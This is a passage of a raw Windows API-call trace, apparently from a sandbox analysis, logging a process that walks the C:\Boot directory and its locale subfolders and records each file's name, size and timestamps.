nFileSizeHigh=0x0, nFileSizeLow=0x2b506, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgun_boot.ttf", cAlternateFileName="MALGUN~2.TTF")) returned 1 [0100.917] FindNextFileW (in: hFindFile=0x3e50100, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9072c7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2318a, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryon_boot.ttf", cAlternateFileName="MEIRYO~1.TTF")) returned 1 [0100.917] FindNextFileW (in: hFindFile=0x3e50100, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef918492, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2380b, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryo_boot.ttf", cAlternateFileName="MEIRYO~2.TTF")) returned 1 [0100.918] FindNextFileW (in: hFindFile=0x3e50100, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef92a947, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x27a1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjhn_boot.ttf", cAlternateFileName="MSJHN_~1.TTF")) returned 1 [0100.918] FindNextFileW (in: hFindFile=0x3e50100, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef93ce3b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x281fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjh_boot.ttf", cAlternateFileName="MSJH_B~1.TTF")) returned 1 [0100.918] FindNextFileW (in: hFindFile=0x3e50100, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef94dfcd, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x25b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyhn_boot.ttf", cAlternateFileName="MSYHN_~1.TTF")) returned 1 [0100.918] FindNextFileW (in: hFindFile=0x3e50100, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef95f141, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x26255, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyh_boot.ttf", cAlternateFileName="MSYH_B~1.TTF")) returned 1 [0100.918] FindNextFileW (in: hFindFile=0x3e50100, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef96ef3e, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="segmono_boot.ttf", cAlternateFileName="SEGMON~1.TTF")) returned 1 [0100.919] FindNextFileW (in: hFindFile=0x3e50100, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c0da69, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef97d9ab, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x14f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoen_slboot.ttf", cAlternateFileName="SEGOEN~1.TTF")) returned 1 [0100.919] FindNextFileW (in: hFindFile=0x3e50100, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef98c419, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x150a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoe_slboot.ttf", cAlternateFileName="SEGOE_~1.TTF")) returned 1 [0100.919] FindNextFileW (in: hFindFile=0x3e50100, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0100.919] FindNextFileW (in: hFindFile=0x3e50100, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0100.919] FindClose (in: hFindFile=0x3e50100 | out: hFindFile=0x3e50100) returned 1 [0100.920] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0100.920] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0100.920] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0100.920] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-CA\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50500 [0100.921] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.921] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0100.922] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0100.922] FindClose (in: hFindFile=0x3e50500 | out: hFindFile=0x3e50500) returned 1 [0100.922] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0100.922] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0100.922] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0100.922] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50840 [0100.922] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.922] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13558, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0100.923] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0100.923] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0100.923] FindClose (in: hFindFile=0x3e50840 | out: hFindFile=0x3e50840) returned 1 [0100.923] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0100.923] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0100.923] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0100.923] FindFirstFileW (in: lpFileName="C:\\Boot\\hr-HR\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50840 [0100.924] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.924] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0100.924] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0100.924] FindClose (in: hFindFile=0x3e50840 | out: hFindFile=0x3e50840) returned 1 [0100.924] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0100.924] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0100.924] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0100.924] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50600 [0100.925] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.925] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13360, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0100.925] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0100.925] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0100.925] FindClose (in: hFindFile=0x3e50600 | out: hFindFile=0x3e50600) returned 1 [0100.925] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0100.925] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="it-IT", cAlternateFileName="")) returned 1 [0100.926] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0100.926] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50340 [0100.926] FindNextFileW (in: hFindFile=0x3e50340, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.926] FindNextFileW (in: hFindFile=0x3e50340, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0100.927] FindNextFileW (in: hFindFile=0x3e50340, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0100.927] FindNextFileW (in: hFindFile=0x3e50340, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0100.927] FindClose (in: hFindFile=0x3e50340 | out: hFindFile=0x3e50340) returned 1 [0100.927] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0100.927] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0100.927] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0100.927] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50600 [0100.928] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.928] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48c6596, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, 